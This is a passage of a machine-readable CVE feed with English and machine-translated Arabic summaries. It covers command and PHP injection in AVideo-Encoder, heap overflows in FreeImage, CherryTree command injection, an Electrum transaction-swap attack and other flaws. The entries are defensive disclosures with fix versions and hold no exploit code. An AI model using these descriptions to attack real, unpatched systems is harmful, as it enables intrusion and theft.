يحتوي الملف `view/run.php` على حماية معطلة ويستدعي `Encoder::run()`. يستدعي الملف `view/queue.json.php` الدالة `Encoder::getAll(true)`، ويكشف عن روابط البث عبر `getSiteURL()`، ويشغل المعالجة باستخدام `execRun()`. يعود الملف `view/status.php` بترويسة `Access-Control-Allow-Origin` مع علامة بدل، ويقرا قائمة الانتظار، ويشغل المعالجة، ويكشف عن إحصائيات ذاكرة المضيف عبر `ServerMonitor::getMemory()` عند ضبط `serverStatus`. يفحص الملف `view/listFiles.json.php` فقط `Login::canBulkEncode()`، مما يقبل المتصلين المجهولين كلما كان الخيار `disableBulkEncode` فارغاً، وهو الوضع الافتراضي. يتم حل معامل `path` الخاص به باستخدام `realpath()` وإدراجه بـ `scandir()` دون تقييد الدليل الأساسي. يمكن لمهاجم دون مصادقة تشغيل معالج قائمة الانتظار المميز، وقراءة معلومات قائمة الانتظار وموقع البث، والحصول على إحصائيات الذاكرة، وتعداد أسماء ملفات الوسائط ومساراتها في أي دليل يمكن لمستخدم خادم الويب قراءته. يقتصر التعداد على امتدادات الوسائط المكوّنة ولا يكشف بحد ذاته عن محتويات الملفات العشوائية. تم إصلاح هذه المشكلة في الإصدار 8.1.0."},"refs":[["https://github.com/WWBN/AVideo-Encoder/commit/ac6097cd5fa7a24df82293bff66b136d559c16db","ref"],["https://github.com/WWBN/AVideo-Encoder/releases/tag/v8.1.0","ref"],["https://github.com/WWBN/AVideo-Encoder/security/advisories/GHSA-297p-4mj8-28wm","ref"]],"epss":0.0028,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"wwbn-avideo-encoder"},{"id":"CVE-2026-61567","cvss":10,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H","cwe":"CWE-78","tags":["RCE"],"zero":false,"exploited":false,"status":"unknown","published":"2026-10-28T22:17:15Z","product":"WWBN AVideo-Encoder","affected":[],"title":{"en":"AVideo-Encoder: unauthenticated command execution through streamer login trust","ar":"AVideo-Encoder: تنفيذ أوامر دون مصادقة من خلال الثقة بتسجيل دخول البث"},"summary":{"en":"AVideo is a video-sharing Platform. Prior to 8.1.0, the live-streaming endpoint `view/videosListToLive.php` accepts an attacker-named streamer in `webSiteRootURL`, calls `Login::run` in `objects/Login.php`, and trusts the returned JSON as session state. An unauthenticated remote attacker who can host an HTTP service reachable by the encoder can self-grant `isLogged` and `canStream` without legitimate credentials. The endpoint requires only nonempty `playlists_id` and `APISecret` values; `APISecret` is forwarded rather than checked against a stored secret. This path never calls `Streamer::isURLAllowed` and therefore works regardless of the operator's streamer allowlist. It fetches a second attacker-controlled video-list response and interpolates `videos[].path` without shell argument escaping into `ffprobe` and `ffmpeg` commands passed to `exec`; `isAudio` calls `isVideo` to reach the `ffprobe` command. Paths containing shell delimiters execute arbitrary operating-system commands as the web-server user. The request filter does not inspect the video-list JSON. This can disclose database and stored streamer credentials, compromise the upstream platform using those credentials, modify files owned by the web-server user, establish persistence, and deny encoder service. This issue is fixed in version 8.1.0.","ar":"AVideo هي منصة مشاركة فيديو. قبل الإصدار 8.1.0، تقبل نقطة نهاية البث المباشر `view/videosListToLive.php` اسم بث يحدده المهاجم في `webSiteRootURL`، وتستدعي `Login::run` في `objects/Login.php`، وتثق في JSON المعاد كحالة جلسة. يمكن لمهاجم عن بُعد دون مصادقة يستطيع استضافة خدمة HTTP يمكن للمشفر الوصول إليها منح نفسه `isLogged` و `canStream` دون بيانات اعتماد شرعية. تتطلب نقطة النهاية فقط قيم `playlists_id` و `APISecret` غير فارغتين؛ حيث تتم إعادة توجيه `APISecret` بدلاً من التحقق منه مقابل سر مخزن. لا يستدعي هذا المسار أبداً `Streamer::isURLAllowed` وبالتالي يعمل بغض النظر عن قائمة السماح الخاصة بالمشغل. يجلب استجابة قائمة فيديو ثانية يتحكم فيها المهاجم ويدرج `videos[].path` دون الهروب من وسائط الغلاف في أوامر `ffprobe` و `ffmpeg` الممررة إلى `exec`؛ وتستدعي `isAudio` الدالة `isVideo` للوصول إلى أمر `ffprobe`. المسارات التي تحتوي على محددات الغلاف تنفذ أوامر نظام تشغيل عشوائية بصلاحيات مستخدم خادم الويب. لا يفحص مرشح الطلبات ملف JSON الخاص بقائمة الفيديو. قد يكشف هذا عن بيانات اعتماد قاعدة البيانات والبث المخزنة، ويخترق المنصة المنبعية باستخدام بيانات الاعتماد تلك، ويعدل الملفات المملوكة لمستخدم خادم الويب، ويقيم استمرارية، ويحجب خدمة المشفر. تم إصلاح هذه المشكلة في الإصدار 8.1.0."},"refs":[["https://github.com/WWBN/AVideo-Encoder/commit/99b8ad9b66fe5726cababbe29dce9d9695131caa","ref"],["https://github.com/WWBN/AVideo-Encoder/releases/tag/v8.1.0","ref"],["https://github.com/WWBN/AVideo-Encoder/security/advisories/GHSA-rf63-6vwm-wv8p","ref"]],"epss":0.0053,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"wwbn-avideo-encoder"},{"id":"CVE-2026-118753","cvss":7.8,"vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","cwe":"CWE-787","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-28T22:17:14Z","product":"danoli3 FreeImage","affected":[["0 – <3.19.25","3.19.25"]],"title":{"en":"FreeImage (danoli3 fork) before 3.19.25 Heap Buffer Overflow via GIF_PLAYBACK Compositing","ar":"ثغرة فيضان المخزن المؤقت للذاكرة الديناميكية (Heap) في FreeImage (فرع danoli3) قبل الإصدار 3.19.25 عبر تجميع GIF_PLAYBACK"},"summary":{"en":"FreeImage (danoli3 fork) before 3.19.25 contains a heap buffer overflow vulnerability in PluginGIF.cpp that allows attackers to write past the canvas allocation via unclipped GIF frame rectangles. Attackers can craft a GIF whose frame left plus width exceeds the logical screen width, causing GifPlaybackCompositeFrame() and GifPlaybackFillRect() to corrupt heap memory when loaded with GIF_PLAYBACK.","ar":"يحتوي FreeImage (فرع danoli3) قبل الإصدار 3.19.25 على ثغرة فيضان المخزن المؤقت للذاكرة الديناميكية (Heap) في الملف PluginGIF.cpp والتي تتيح للمهاجمين الكتابة خارج نطاق مساحة اللوحة المخصصة عبر مستطيلات إطارات GIF غير المقصوصة. يمكن للمهاجمين صياغة ملف GIF بحيث يتجاوز مجموع إحداثي الإطار الأيسر مع عرضه عرض الشاشة المنطقي، مما يتسبب في قيام الدالتين GifPlaybackCompositeFrame() و GifPlaybackFillRect() بإفساد ذاكرة الـ Heap عند تحميله باستخدام خيار GIF_PLAYBACK."},"refs":[["https://github.com/danoli3/FreeImage/commit/0da5ddb4d311e5222251348cca1aa988478b1034","patch"],["https://github.com/danoli3/FreeImage/commit/96f4099f8e307484ba69b4aa14d772b7679a1bfb","patch"],["https://github.com/danoli3/FreeImage/pull/183","patch"],["https://www.vulncheck.com/advisories/freeimage-danoli3-fork-before-3.19.25-heap-buffer-overflow-via-gif-playback-compositing","advisory"],["https://github.com/danoli3/FreeImage","ref"],["https://github.com/danoli3/FreeImage/blob/3.19.24/Source/FreeImage/PluginGIF.cpp#L719-L772","ref"],["https://github.com/danoli3/FreeImage/releases/tag/3.19.25","ref"],["https://github.com/danoli3/FreeImage/pull/244","ref"],["https://sourceforge.net/projects/freeimage/","ref"]],"epss":0.0015,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"danoli3-freeimage"},{"id":"CVE-2026-118692","cvss":7,"vector":"CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H","cwe":"CWE-78","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-10-28T22:17:13Z","product":"giuspen cherrytree","affected":[["0 – 1.7.2",null]],"title":{"en":"CherryTree through 1.7.2 OS Command Injection via Custom Web Link Action","ar":"ثغرة حقن أوامر نظام التشغيل في CherryTree حتى الإصدار 1.7.2 عبر إجراء نقر رابط الويب المخصص"},"summary":{"en":"CherryTree through 1.7.2 contains an OS command injection vulnerability in CtActions::link_clicked that allows attackers to execute commands by embedding shell metacharacters in web link URLs. When the non-default Custom Web Link Clicked Action option is enabled, attackers can supply crafted documents whose links pass $(...), backticks, or semicolons unquoted to std::system, running commands as the victim on click.","ar":"يحتوي CherryTree حتى الإصدار 1.7.2 على ثغرة حقن أوامر نظام التشغيل في CtActions::link_clicked والتي تتيح للمهاجمين تنفيذ الأوامر من خلال تضمين محارف صدفة (shell) خاصة في عناوين روابط الويب. عند تمكين خيار إجراء النقر على رابط الويب المخصص غير الافتراضي، يمكن للمهاجمين توفير مستندات مُصاغة تمرر رموز مثل $(...) أو الفاصلة العكسية (backticks) أو الفاصلة المنقوطة دون تنقيب إلى الدالة std::system، مما يؤدي إلى تشغيل الأوامر بصلاحيات الضحية عند النقر."},"refs":[["https://www.vulncheck.com/advisories/cherrytree-through-1.7.2-os-command-injection-via-custom-web-link-action","advisory"],["https://github.com/giuspen/cherrytree","ref"],["https://github.com/giuspen/cherrytree/blob/v1.7.2/src/ct/ct_actions_others.cc#L381-L388","ref"],["https://github.com/giuspen/cherrytree/blob/v1.7.2/src/ct/ct_misc_utils.cc#L227-L247","ref"],["https://github.com/giuspen/cherrytree/issues/2945","ref"]],"epss":0.0058,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"giuspen-cherrytree"},{"id":"CVE-2026-118752","cvss":7.8,"vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","cwe":"CWE-787","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-28T22:17:13Z","product":"danoli3 FreeImage","affected":[["0 – <3.19.22","3.19.22"]],"title":{"en":"FreeImage before 3.19.22 Heap Buffer Overflow via IFF/LBM PBM RLE Decoder","ar":"ثغرة فيضان المخزن المؤقت للذاكرة الديناميكية (Heap) في FreeImage قبل الإصدار 3.19.22 عبر فك تشفير IFF/LBM PBM RLE"},"summary":{"en":"FreeImage (danoli3 fork) before 3.19.22 contains a heap buffer overflow vulnerability in the PBM RLE decoder of PluginIFF.cpp that lacks bounds checks on ByteRun1 runs. Attackers can supply a crafted IFF/LBM PBM file with runs straddling scanline ends to write up to 127 controlled bytes past the heap-allocated bitmap.","ar":"يحتوي FreeImage (فرع danoli3) قبل الإصدار 3.19.22 على ثغرة فيضان المخزن المؤقت للذاكرة الديناميكية (Heap) في فك تشفير PBM RLE الموجود في الملف PluginIFF.cpp والذي يفتقر إلى التحقق من الحدود على عمليات تشغيل ByteRun1. يمكن للمهاجمين توفير ملف IFF/LBM PBM مُصاغ خصيصًا يحتوي على عمليات تشغيل تمتد عبر نهايات خطوط المسح لكتابة ما يصل إلى 127 بايت متحكم بها بعد الصورة النقطية المخصصة في الـ Heap."},"refs":[["https://github.com/danoli3/FreeImage/commit/cf173c16354274dc8fb739dc395fc7f32efe7d45","patch"],["https://github.com/danoli3/FreeImage/commit/e1105d3b464b679f0525c6178d9ccf49d55cf712","patch"],["https://github.com/danoli3/FreeImage/pull/161","patch"],["https://sourceforge.net/p/freeimage/patches/198/","patch"],["https://www.vulncheck.com/advisories/freeimage-before-3.19.22-heap-buffer-overflow-via-iff-lbm-pbm-rle-decoder","advisory"],["https://github.com/danoli3/FreeImage","ref"],["https://github.com/danoli3/FreeImage/blob/3.19.21/Source/FreeImage/PluginIFF.cpp#L296-L324","ref"],["https://github.com/danoli3/FreeImage/issues/156","ref"],["https://github.com/danoli3/FreeImage/releases/tag/3.19.22","ref"],["https://github.com/danoli3/FreeImage/pull/244","ref"],["https://sourceforge.net/projects/freeimage/","ref"]],"epss":0.0015,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"danoli3-freeimage"},{"id":"CVE-2026-118682","cvss":7.5,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H","cwe":"CWE-295","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-10-28T22:17:12Z","product":"KaringX clashmi","affected":[["0 – 1.0.32.1801",null]],"title":{"en":"ClashMi through 1.0.32.1801 Disabled TLS Certificate Validation Enables Update MITM","ar":"تعطيل التحقق من شهادة TLS في ClashMi حتى الإصدار 1.0.32.1801 يتيح هجمات الوسيط (MITM) أثناء التحديث"},"summary":{"en":"KaringX ClashMi through 1.0.32.1801 disables TLS certificate validation by default in the HttpUtils helper, allowing attackers to intercept HTTPS traffic by presenting any certificate. Attackers operating the user's proxy node can serve a forged update manifest omitting sha256 to deliver a malicious installer, achieving code execution when the update runs.","ar":"يقوم KaringX ClashMi حتى الإصدار 1.0.32.1801 بتعطيل التحقق من شهادة TLS افتراضيًا في مساعد HttpUtils، مما يسمح للمهاجمين اعتراض حركة مرور HTTPS من خلال تقديم أي شهادة. يمكن للمهاجمين الذين يديرون عقدة الوكيل الخاصة بالمستخدم توفير بيان تحديث مزيف يحذف قيمة sha256 لتسليم برنامج تثبيت ضار، مما يحقق تنفيذ شيفرة عند تشغيل التحديث."},"refs":[["https://www.vulncheck.com/advisories/clashmi-through-1.0.32.1801-disabled-tls-certificate-validation-enables-update-mitm","advisory"],["https://github.com/KaringX/clashmi","ref"],["https://github.com/KaringX/clashmi/blob/v1.0.32.1801/lib/app/modules/auto_update_manager.dart#L293","ref"],["https://github.com/KaringX/clashmi/blob/v1.0.32.1801/lib/app/modules/setting_manager.dart#L225","ref"],["https://github.com/KaringX/clashmi/blob/v1.0.32.1801/lib/app/utils/http_utils.dart#L674-L676","ref"],["https://github.com/KaringX/clashmi/issues/605","ref"]],"epss":0.0027,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"karingx-clashmi"},{"id":"CVE-2026-118689","cvss":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","cwe":"CWE-770","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-28T22:17:12Z","product":"OvenMediaLabs OvenMediaEngine","affected":[["0 – 0.21.0",null]],"title":{"en":"OvenMediaEngine through 0.21.0 OVT Relay DoS via Oversized payload_length","ar":"ثغرة حجب الخدمة (DoS) في ترحيل OvenMediaEngine حتى الإصدار 0.21.0 عبر قيمة payload_length المفرطة"},"summary":{"en":"OvenMediaEngine through 0.21.0 contains a denial of service vulnerability in OvtPacket::LoadHeader() that allows unauthenticated attackers to stall connections by sending payload_length values above 32750. Attackers can send crafted OVT packets to the OVT listener to hold connections open indefinitely and accumulate buffered memory, disrupting origin-to-edge stream relay.","ar":"يحتوي OvenMediaEngine حتى الإصدار 0.21.0 على ثغرة حجب الخدمة في الدالة OvtPacket::LoadHeader() التي تتيح للمهاجمين دون مصادقة تعليق الاتصالات عن طريق إرسال قيم payload_length تزيد عن 32750. يمكن للمهاجمين إرسال حزم OVT مُصاغة إلى مستمع OVT لإبقاء الاتصالات مفتوحة إلى أجل غير مسمى وتراكم الذاكرة المخزنة مؤقتًا، مما يؤدي إلى تعطيل ترحيل التدفق من المصدر إلى الحافة."},"refs":[["https://github.com/OvenMediaLabs/OvenMediaEngine/commit/ce316146d668a934217f25c777289ca256aa6786","patch"],["https://www.vulncheck.com/advisories/ovenmediaengine-through-0.21.0-ovt-relay-dos-via-oversized-payload-length","advisory"],["https://github.com/OvenMediaLabs/OvenMediaEngine","ref"],["https://github.com/OvenMediaLabs/OvenMediaEngine/blob/v0.21.0/src/modules/ovt_packetizer/ovt_depacketizer.cpp#L32-L53","ref"],["https://github.com/OvenMediaLabs/OvenMediaEngine/blob/v0.21.0/src/modules/ovt_packetizer/ovt_packet.cpp#L48-L129","ref"],["https://github.com/OvenMediaLabs/OvenMediaEngine/issues/2330","ref"]],"epss":0.0051,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"ovenmedialabs-ovenmediaengine"},{"id":"CVE-2026-118669","cvss":8.4,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:N/SC:H/SI:H/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","cwe":"CWE-863","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-28T22:17:12Z","product":"oauthlib","affected":[["< 4.0.0","4.0.0"]],"title":{"en":"OAuthLib: Token grants can use attacker-supplied client_id for authorization after authenticating a different client","ar":"OAuthLib: منح الرموز المميزة يمكنها استخدام client_id المقدم من المهاجم للترخيص بعد مصادقة عميل مختلف"},"summary":{"en":"OAuthLib is an implementation of the OAuth request-signing logic for Python 3.6+. Prior to 4.0.0, the client_credentials and Resource Owner Password Credentials token grant handlers can authenticate request.client as one confidential client while retaining an attacker-supplied request.client_id for validate_grant_type and validate_scopes. A lower-privilege authenticated client can therefore cause grant and scope authorization to use another client's identity when an application validator relies on the documented client_id argument, potentially issuing tokens with unauthorized grants or scopes. Validators that authorize exclusively from request.client may not be affected. This issue is fixed in version 4.0.0.","ar":"OAuthLib هو تنفيذ لمنطق توقيع طلبات OAuth لـ Python 3.6+ . قبل الإصدار 4.0.0، يمكن لمعالجات منح الرموز المميزة client_credentials و Resource Owner Password Credentials مصادقة request.client كعميل سرّي واحد مع الاحتفاظ بـ request.client_id المقدم من المهاجم لـ validate_grant_type و validate_scopes. يمكن لعميل مصادق عليه ذو صلاحيات أقل بالتالي التسبب في استخدام ترخيص المنح والنطاق لهوية عميل آخر عندما يعتمد مُتحقّق التطبيق على وسيط client_id المُوثّق، مما قد يؤدي إلى إصدار رموز مميزة بمنح أو نطاقات غير مصرح بها. المُتحقّقات التي تمنح الترخيص حصريًا من request.client قد لا تأثر. تم إصلاح هذه المشكلة في الإصدار 4.0.0."},"refs":[["https://github.com/advisories/GHSA-7984-qgvg-3j9c","advisory"],["https://github.com/oauthlib/oauthlib/commit/c951a1d09f99f14e3240973fa83c4f4287d4753d","ref"],["https://github.com/oauthlib/oauthlib/pull/920","ref"],["https://github.com/oauthlib/oauthlib/releases/tag/v4.0.0","ref"],["https://github.com/oauthlib/oauthlib/security/advisories/GHSA-7984-qgvg-3j9c","ref"],["https://nvd.nist.gov/vuln/detail/CVE-2026-118669","ref"]],"epss":0.0031,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"oauthlib"},{"id":"CVE-2026-54453","cvss":7.2,"vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H","cwe":"CWE-74","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-10-28T21:53:24Z","product":"opencats OpenCATS","affected":[],"title":{"en":"OpenCATS: Authenticated Remote Code Execution via SettingsUI (manageProfessional)","ar":"OpenCATS: تنفيذ أوامر عن بُعد بواسطة مهاجم يملك حسابًا مصادقًا عليه عبر SettingsUI (manageProfessional)"},"summary":{"en":"OpenCATS is an open-source applicant tracking system and recruitment CRM for staffing agencies and hiring teams. Prior to version 0.10.0, the Professional License configuration feature in `SettingsUI` (`manageProfessional`) accepts administrator-controlled license key input that is reconstructed into a PHP `define()` statement in `config.php` without safe escaping. Because the application includes `config.php`, crafted input can alter the file's PHP syntax and cause persistent arbitrary PHP execution with the web server process privileges. An authenticated administrator must have Settings module access and permission to update Professional License configuration, and `config.php` must be writable for this write-based path. Successful exploitation can read, modify or delete application data, expose candidate, contact, company, job order and user account information, alter the installation or configuration, and provide a foothold for further attacks. Unauthenticated exploitation and exploitation without Settings access are not established. This issue is fixed in version 0.10.0.","ar":"OpenCATS هو نظام تتبع للمتقدمين مفتوح المصدر ونظام إدارة علاقات عملاء للتوظيف وكالات التوظيف فرق التوظيف. قبل الإصدار 0.10.0 ميزة تكوين ترخيص Professional في `SettingsUI` (`manageProfessional`) تقبل إدخال مفتاح ترخيص متحكم فيه بواسطة المسؤول والذي يتم إعادة بناءه في تعليمة `define()` بلغة PHP داخل الملف `config.php` دون قيام التهرس الآمن. نظرًا لأن التطبيق يتضمن الملف `config.php` فإن الإدخال المصمم يمكن أن يغير بناء جملة PHP للملف ويؤدي إلى تنفيذ شيفرة PHP عشوائية بشكل دائم باستخدام صلاحيات عملية خادم الويب. يجب أن يمتلك المسؤول الذي تم مصادقته حق الوصول إلى وحدة الإعدادات والإذن بتحديث تكوين ترخيص Professional ويجب أن يكون الملف `config.php` قابلًا للكتابة مسار القائم على الكتابة. الاستغلال الناجح يمكنه قراءة بيانات التطبيق أو تعديلها أو حذفها وكشف معلومات المرشحين وجهات الاتصال والشركات وأوامر الوظائف وحسابات المستخدمين وتغيير التثبيت أو التكوين وتوفير موطئ قدم لمزيد من الهجمات. الاستغلال دون مصادقة والاستغلال بدون الوصول إلى الإعدادات لم يتم إثباتهما. تم إصلاح هذه المشكلة في الإصدار 0.10.0."},"refs":[["https://github.com/opencats/OpenCATS/security/advisories/GHSA-627w-743r-4cg2","ref"],["https://github.com/opencats/OpenCATS/pull/802","ref"],["https://github.com/opencats/OpenCATS/commit/e422abf3b75d467bdee65277f56e41dfba928fc8","ref"],["https://github.com/opencats/OpenCATS/tree/v0.10.0","ref"]],"epss":0.0044,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"opencats"},{"id":"CVE-2026-61564","cvss":10,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H","cwe":"CWE-94","tags":["RCE"],"zero":false,"exploited":false,"status":"unknown","published":"2026-10-28T21:42:42Z","product":"WWBN AVideo-Encoder","affected":[],"title":{"en":"AVideo-Encoder: unauthenticated installer PHP code injection","ar":"AVideo-Encoder: حقن شيفرة PHP عبر برنامج التثبيت دون مصادقة"},"summary":{"en":"AVideo is a video-sharing Platform. Prior to 8.1.0, the unauthenticated installer endpoint `install/checkConfiguration.php` assembles `videos/configuration.php` by interpolating request parameters, including `webSiteRootURL`, into single-quoted PHP string literals without escaping. An attacker can terminate a literal and inject PHP that executes as the web-server user when the generated, directly requestable file is loaded. Exploitation requires `videos/configuration.php` to be absent, as on every fresh deployment or after the file is removed or moved; an existing file blocks this endpoint. The supplied `systemRootPath` must contain index.php and a connection using `databaseHost`, `databaseUser`, and `databasePass` must succeed, but the attacker can point those parameters to their own database server and needs no target credentials. The write location is also derived from `systemRootPath` without a base-directory constraint. This permits arbitrary command execution, reading and overwriting files owned by the web-server user, persistent PHP code, and control over stored database connection settings. The endpoint additionally interpolates request values into streamer and configuration INSERT statements, creating a secondary SQL-injection sink. This issue is fixed in version 8.1.0.","ar":"AVideo هي منصة مشاركة فيديو. قبل الإصدار 8.1.0 نقطة نهاية برنامج التثبيت دون مصادقة `install/checkConfiguration.php` تقوم بتجميع الملف `videos/configuration.php` عن طريق إقحام بارامترات الطلب بما في ذلك `webSiteRootURL` في سلاسل أحرف PHP المحاطة بعلامات تنصيص فردية دون تهرس. يمكن للمهاجم إنهاء حرفي وحقن شيفرة PHP يتم تنفيذها كمستخدم خادم الويب عند تحميل الملف الناتج القابل للطلب مباشرة. يتطلب الاستغلال أن يكون الملف `videos/configuration.php` غير موجود كما هو الحال في كل نشر جديد أو بعد إزالة الملف أو نقله؛ الملف الموجود يمنع نقطة النهاية هذه. يجب أن يحتوي `systemRootPath` المقدم على index.php ويجب أن ينجح الاتصال باستخدام `databaseHost` و`databaseUser` و`databasePass` ولكن يمكن للمهاجم توجيه هذه البارامترات إلى خادم قاعدة البيانات الخاص به ولا يحتاج إلى بيانات اعتماد الهدف. يتم اشتقاق موقع الكتابة أيضًا من `systemRootPath` بدون تقييد دليل الأساس. يسمح هذا بتنفيذ أوامر عشوائية وقراءة وكتابة فوق الملفات المملوكة لمستخدم خادم الويب وشيفرة PHP دائمة والتحكم في إعدادات الاتصال بقاعدة البيانات المخزنة. تقوم نقطة النهاية بالإضافة إلى ذلك بإقحام قيم الطلب في عبارات INSERT الخاصة بجهاز البث والتكوين مما ينشئ مصدر حقن SQL ثانوي. تم إصلاح هذه المشكلة في الإصدار 8.1.0."},"refs":[["https://github.com/WWBN/AVideo-Encoder/security/advisories/GHSA-xrj3-cqm8-r992","ref"],["https://github.com/WWBN/AVideo-Encoder/commit/0faaddebd11c087885d25a7e0513745465cad411","ref"],["https://github.com/WWBN/AVideo-Encoder/releases/tag/v8.1.0","ref"]],"epss":0.0054,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"wwbn-avideo-encoder"},{"id":"CVE-2026-117601","cvss":7.5,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H","cwe":"CWE-347","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-28T21:23:44Z","product":"electrum","affected":[["< 4.8.3","4.8.3"]],"title":{"en":"Electrum: Malicious server can replace a just-broadcast tx and try to trick user into RBF-ing it","ar":"ثغرة عالية الخطورة في electrum"},"summary":{"en":"### Summary The main Electrum server the client connects to is trusted with mempool (\"unconfirmed\") transactions. This is documented [design](https://electrum.readthedocs.io/en/latest/faq.html#does-electrum-trust-servers). [0] However now someone figured out a way to practically exploit it: - when the client broadcasts a new tx1, a malicious server can swallow it, - and update the client's history with a conflicting (invalid) tx2 that replaces the outputs with the attacker's output address. - Tx2 has invalid signatures, but this is not checked (due to light client design). - The wallet will display tx2 as an unconfirmed transaction - tx1 will not be displayed. - If the client then manually RBF fee-bumps tx2, the client will sign it with a higher fee, and hence pay the attacker. ### Fixes Commit 90fe30822 contains the fix [1], included in version 4.8.3. The client now verifies the signatures of `wallet.is_mine` inputs for mempool txs (before adding them to its local history). Users should upgrade (and regularly do so in any case). As a workaround, without upgrading, when signing any transaction, for bumping the fee or not, they should verify the output addresses and amounts are as expected. Clients that connect to servers they trust (e.g. run their own) are not affected. ### Remarks - some servers are performing this attack in the wild - electrum received two user-reports of this. user1 noticed after broadcasting tx1 the wallet history contained a different tx. user2 bumped the fee of tx2 and lost money. - user1 reported tx1 was not propagated over the bitcoin p2p, so the server held it - both reported the attacker's output address in tx2 was grinded to match the last four chars of the legit address from tx1 - based on user2's report, the server constructed a tx2 with zero fee (presumably in hope of the user bumping its fee) - even with the fix, we still only validate \"is_mine\" inputs (i.e. paying from addresses that the wallet owns). So e.g. \"incoming\" txs are not…","ar":"### Summary The main Electrum server the client connects to is trusted with mempool (\"unconfirmed\") transactions. This is documented [design](https://electrum.readthedocs.io/en/latest/faq.html#does-electrum-trust-servers). [0] However now someone figured out a way to practically exploit it: - when the client broadcasts a new tx1, a malicious server can swallow it, - and update the client's history with a conflicting (invalid) tx2 that replaces the outputs with the attacker's output address. - Tx2 has invalid signatures, but this is not checked (due to light client design). - The wallet will display tx2 as an unconfirmed transaction - tx1 will not be displayed. - If the client then manually RBF fee-bumps tx2, the client will sign it with a higher fee, and hence pay the attacker. ### Fixes Commit 90fe30822 contains the fix [1], included in version 4.8.3. The client now verifies the signatures of `wallet.is_mine` inputs for mempool txs (before adding them to its local history). Users should upgrade (and regularly do so in any case). As a workaround, without upgrading, when signing any transaction, for bumping the fee or not, they should verify the output addresses and amounts are as expected. Clients that connect to servers they trust (e.g. run their own) are not affected. ### Remarks - some servers are performing this attack in the wild - electrum received two user-reports of this. user1 noticed after broadcasting tx1 the wallet history contained a different tx. user2 bumped the fee of tx2 and lost money. - user1 reported tx1 was not propagated over the bitcoin p2p, so the server held it - both reported the attacker's output address in tx2 was grinded to match the last four chars of the legit address from tx1 - based on user2's report, the server constructed a tx2 with zero fee (presumably in hope of the user bumping its fee) - even with the fix, we still only validate \"is_mine\" inputs (i.e. paying from addresses that the wallet owns). So e.g. \"incoming\" txs are not…"},"refs":[["https://github.com/advisories/GHSA-6jp4-8v48-cc5v","advisory"],["https://github.com/spesmilo/electrum/security/advisories/GHSA-6jp4-8v48-cc5v","ref"],["https://nvd.nist.gov/vuln/detail/CVE-2026-117601","ref"],["https://github.com/spesmilo/electrum/commit/90fe30822561e515a9d2d6e5a352cc07780999eb","ref"],["https://www.binance.com/en/square/post/381361716824742","ref"],["https://www.vulncheck.com/advisories/electrum-before-4.8.3-missing-signature-verification-of-mempool-transactions","ref"]],"epss":0.0018,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"productSlug":"electrum"},{"id":"CVE-2026-116581","cvss":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","cwe":"CWE-835","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-28T21:17:27Z","product":"seroval","affected":[["<= 1.6.7","1.6.8"]],"title":{"en":"Seroval: fromJSON deserializer trusts node-supplied array length and sequence doneAt (unauthenticated event-loop DoS)","ar":"Seroval: مزيل التسلسل fromJSON يثق في طول المصفوفة الموفرة من العقدة وتسلسل doneAt (حجب خدمة حلقة الأحداث دون مصادقة)"},"summary":{"en":"### Summary `fromJSON` and `fromCrossJSON` used two node fields without checking them. - An array node's element list was not checked to be an array. A small payload could set the length the decoder looped over. This part is also tracked in GHSA-wp97-x4hv-qvhp. - A sequence node's done index was not checked. A crafted value produced an iterator that never finished. ### Impact A service that passes untrusted input to `fromJSON` or `fromCrossJSON` can be made unavailable by an unauthenticated request. - The array case blocks the thread while the decoder runs. - The sequence case makes any code that reads the resulting iterator to the end run forever. ### Patches Fixed in `seroval@1.6.8`. - Element lists must be arrays. - A sequence node's throw and done indices must be integers from -1 up to the last 